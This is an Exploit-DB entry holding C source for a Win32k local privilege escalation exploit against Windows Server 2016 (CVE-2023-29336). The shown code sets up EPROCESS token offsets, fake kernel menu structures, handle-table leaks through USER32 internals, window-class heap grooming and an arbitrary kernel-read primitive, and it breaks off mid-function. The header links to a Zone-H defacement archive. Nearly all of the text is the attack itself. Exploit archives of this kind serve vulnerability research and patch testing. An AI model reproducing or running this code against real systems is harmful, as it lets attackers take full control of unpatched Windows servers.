Exploit-DB #52301
Description: Microsoft Windows Server 2016 - Win32k Elevation of Privilege
Type: local
Platform: windows
Date: 2025-05-25
Author: Milad karimi

Exploit:
# Exploit Title: Microsoft Windows Server 2016 - Win32k Elevation of
Privilege
# Date: 2025-05-19
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Country: United Kingdom
# CVE : CVE-2023-29336




#include <windows.h>
#include <stdio.h>
#include <tchar.h>

#define IDM_MYMENU 101
#define IDM_EXIT 102
#define IDM_DISABLE 0xf120
#define IDM_ENABLE 104
#define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440
#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448
#define EPROCESS_TOKEN_OFFSET 0x4b8

typedef DWORD64(NTAPI* NtUserEnableMenuItem)(HMENU hMenu, UINT
uIDEnableItem, UINT uEnable);

typedef DWORD64(NTAPI* NtUserSetClassLongPtr)(HWND a1, unsigned int a2,
unsigned __int64 a3, unsigned int a4);
typedef DWORD64(NTAPI* NtUserCreateAcceleratorTable)(void* Src, int a2);
typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, PVOID,
int nConsoleInformationLength);


NtUserSetClassLongPtr g_NtUserSetClassLongPtr = NULL;
NtUserEnableMenuItem g_NtUserEnableMenuItem = NULL;
NtUserCreateAcceleratorTable g_NtUserCreateAcceleratorTable = NULL;
fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr;
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM
lParam);
int syytem();
typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    BOOL bExploited;
    BYTE pfnWindProc[];
} SHELLCODE, * PSHELLCODE;
struct tagMENU
{
    ULONG64 field_0;
    ULONG64 field_8;
    ULONG64 field_10;
    ULONG64 field_18;
    ULONG64 field_20;
    PVOID obj28;
    DWORD field_30;
    DWORD flag1;
    DWORD flag2;
    DWORD cxMenu;
    DWORD cyMenu;
    ULONG64 field_48;
    PVOID rgItems;
    ULONG64 field_58; // + 0x58
    ULONG64 field_60;
    ULONG64 field_68;
    ULONG64 field_70;
    ULONG64 field_78;
    ULONG64 field_80;
    ULONG64 field_88;
    ULONG64 field_90;
    PVOID ref; // + 0x98
};
struct MyData
{
    BYTE name[0x96];
};
tagMENU* g_pFakeMenu = 0;
static PSHELLCODE pvShellCode = NULL;
HMENU hSystemMenu;
HMENU hMenu;
HMENU hSubMenu;
HMENU hAddedSubMenu;
HMENU hMenuB;
PVOID MENU_add = 0;
DWORD flag = 0;
UINT iWindowCount = 0x100;
HWND HWND_list[0x300];
HWND HWND_list1[0x20];
HMENU HMENUL_list[0x300];
int Hwnd_num = 0;
int Hwnd_num1 = 0;
ULONGLONG HWND_add = 0;
ULONGLONG GS_off = 0;
WORD max = 0;

static PULONGLONG ptagWNDFake = NULL;
static PULONGLONG ptagWNDFake1 = NULL;
static PULONGLONG ptagWNDFake2 = NULL;

static PULONGLONG GS_hanlde = NULL;

static PULONGLONG HWND_class = NULL;


struct ThreadParams {
    int threadId;
    int numLoops;
};


static unsigned long long GetGsValue(unsigned long long gsValue)
{
    return gsValue;
}
PVOID
GetMenuHandle(HMENU menu_D)
{
    int conut = 0;
    PVOID HANDLE = 0;
    PBYTE add = 0;
    WORD temp = 0;
    DWORD offset = 0xbd688;
    HMODULE hModule = LoadLibraryA("USER32.DLL");

    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    ULONGLONG par1 = 0;
    DWORD par2 = 0;
    memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
    memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);

    add = (PBYTE)(par1 + 0x18 * (WORD)menu_D);

    if (add)
    {
        HANDLE = *(PVOID*)add;
    }
    else
    {
        HANDLE = 0;
    }
    HANDLE= (PVOID*)((ULONGLONG)HANDLE - GS_off+0x20);
    return *(PVOID*)HANDLE;

}

PVOID
xxGetHMValidateHandle(HMENU menu_D, DWORD type_hanlde)
{
    int conut = 0;
    PVOID HANDLE = 0;
    PBYTE add = 0;
    WORD temp = 0;
    DWORD offset = 0xbd688;
    HMODULE hModule = LoadLibraryA("USER32.DLL");

    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    ULONGLONG par1 = 0;
    DWORD par2 = 0;
    memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
    memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);

    temp = (ULONGLONG)menu_D >> 16;
    add = (PBYTE)(par1 + 0x18 * (WORD)menu_D);
    if (add)
    {
        HANDLE = *(PVOID*)add;
    }
    else
    {
        HANDLE = 0;
    }
    HANDLE = (PVOID*)((ULONGLONG)HANDLE - GS_off + 0x20);
    return *(PVOID*)HANDLE;

}


static
VOID
xxReallocPopupMenu(VOID)
{
    for (INT i = 0; i < 0x8; i++)
    {
        WNDCLASSEXW Class = { 0 };
        WCHAR szTemp[0x100] = { 0 };
        HWND hwnd = NULL;
        wsprintfW(szTemp,
L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@A%d",
i);
        Class.cbSize = sizeof(WNDCLASSEXA);
        Class.lpfnWndProc = DefWindowProcW;
        Class.cbWndExtra = 0;
        Class.hInstance = GetModuleHandleA(NULL);
        Class.lpszMenuName = NULL;
        Class.lpszClassName = szTemp;
        if (!RegisterClassExW(&Class))
        {
            continue;
        }
    }

}
VOID
createclass(VOID)
{
    WCHAR szTemp[0x100] = { 0 };
    for (INT i = 9; i < 29; i++)
    {
        WNDCLASSEXW Class = { 0 };

        HWND hwnd = NULL;
        wsprintfW(szTemp, L"A@A%d", i);
        Class.cbSize = sizeof(WNDCLASSEXA);
        Class.lpfnWndProc = DefWindowProcW;
        Class.cbWndExtra = 0x20;
        Class.hInstance = GetModuleHandleA(NULL);
        Class.lpszMenuName = NULL;
        Class.lpszClassName = szTemp;
        Class.cbClsExtra = 0x1a0;
        if (!RegisterClassExW(&Class))
        {
            continue;
        }
    }

    for (INT i = 9; i < 29; i++)
    {
        wsprintfW(szTemp, L"A@A%d", i);
        HWND_list1[i]=CreateWindowEx(NULL, szTemp, NULL, WS_VISIBLE, 0, 0,
0, 0, NULL,NULL, NULL, NULL);


    }

}

ULONG64 Read64(ULONG64 address)
{
    MENUBARINFO mbi = { 0 };
    mbi.cbSize = sizeof(MENUBARINFO);

    g_pFakeMenu->rgItems = PVOID(address - 0x48);
    GetMenuBarInfo(HWND